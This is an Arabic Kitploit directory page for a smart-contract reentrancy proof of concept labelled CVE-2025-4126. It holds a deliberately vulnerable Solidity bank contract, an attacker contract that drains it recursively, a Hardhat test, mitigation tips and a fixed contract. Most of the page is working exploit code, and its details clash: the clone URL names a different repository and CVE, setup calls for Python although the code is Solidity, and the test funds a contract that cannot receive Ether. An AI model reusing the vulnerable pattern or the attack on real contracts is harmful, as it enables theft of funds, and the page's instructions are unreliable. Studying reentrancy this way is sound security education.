Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4126 — إثبات مفهوم (POC) لثغرة هجوم إعادة الدخول في العقود الذكية | Kitploit
أدوات/GitHubGitHub/slow-mist/cve-2025-4126
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

إثبات مفهوم (POC) لثغرة هجوم إعادة الدخول في العقود الذكية

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

POC-CVE-2025-4126

التحقق من ثغرة هجوم إعادة الدخول في العقود الذكية

إثبات مفهوم هجوم إعادة الدخول في العقود الذكية

يحتوي هذا المستودع على إثبات مفهوم (PoC) يوضح ثغرة هجوم إعادة الدخول في العقود الذكية على إيثيريوم. يتضمن إثبات المفهوم عقدًا ذكيًا قابلًا للاختراق، وعقد المهاجم، وتعليمات لإعادة إنتاج الهجوم في بيئة اختبار محلية.

جدول المحتويات

  • نظرة عامة
  • وصف الثغرة
  • إعداد إثبات المفهوم
  • تشغيل إثبات المفهوم
  • الترخيص

نظرة عامة

إعادة الدخول هي ثغرة شائعة في العقود الذكية على إيثيريوم حيث يمكن لعقد خارجي إجراء استدعاءات متكررة إلى العقد الأصلي قبل اكتمال الاستدعاء الأول، مما قد يؤدي إلى استنزاف الأموال أو التلاعب بالحالة. يوضح هذا الإثبات كيف يمكن للمهاجم استغلال عقد قابل للاختراق لسرقة إيثر.

وصف الثغرة

يسمح العقد القابل للاختراق (VulnerableBank) للمستخدمين بإيداع وسحب إيثر. ومع ذلك، فإنه لا يتعامل بشكل صحيح مع تحديثات الحالة قبل إجراء استدعاءات خارجية، مما يجعله عرضة لإعادة الدخول. يستغل عقد المهاجم (Attacker) ذلك عن طريق استدعاء دالة withdraw بشكل متكرر لاستنزاف رصيد إيثر في العقد.

المشكلة الأساسية

  • دالة withdraw في VulnerableBank ترسل إيثر إلى المستدعي قبل تحديث رصيد المستخدم.
  • يسمح ذلك لعقد المهاجم باستدعاء withdraw مرة أخرى في دالة الرجوع الخاصة به، مما يستنزف أموال العقد.

إعداد إثبات المفهوم

لتشغيل إثبات المفهوم هذا، تحتاج إلى:

  • python3.x
  • pip3

التثبيت والتشغيل

  1. استنساخ هذا المستودع:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. قم بتشغيل:
    root@kitploit:~
    python3 poc.py
    

كود إثبات المفهوم

فيما يلي العقدان المستخدمان في إثبات المفهوم هذا:

VulnerableBank.sol

يُحاكي هذا العقد بنكًا بسيطًا يسمح بالإيداعات والسحوبات ولكنه عرضة لهجوم إعادة الدخول.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

يستغل هذا العقد ثغرة إعادة الدخول عن طريق استدعاء دالة withdraw بشكل متكرر.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

سكربت اختبار Hardhat

تم تضمين سكربت اختبار Hardhat لأتمتة محاكاة الهجوم.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

المخرجات المتوقعة

  • رصيد البنك الأولي: 10 ETH
  • رصيد البنك النهائي: 0 ETH
  • رصيد المهاجم: ~10 ETH (بعد خصم رسوم الغاز)

التخفيف

لمنع هجمات إعادة الدخول، ضع في اعتبارك أفضل الممارسات التالية:

  1. نمط الفحوصات-التأثيرات-التفاعلات: حدّث الحالة (مثل الأرصدة) قبل إجراء استدعاءات خارجية.
  2. حارس إعادة الدخول: استخدم معدِّلًا (مثل ReentrancyGuard من OpenZeppelin) لمنع الاستدعاءات المتكررة.
  3. حدّد الغاز: قيّد الغاز المُمرَّر إلى الاستدعاءات الخارجية لمنع منطق إعادة الدخول المعقد.
  4. استخدم transfer أو send: تحدّ هذه الطرق من الغاز، مما يقلل من خطر إعادة الدخول.

مثال إصلاح لـ VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

الترخيص

هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة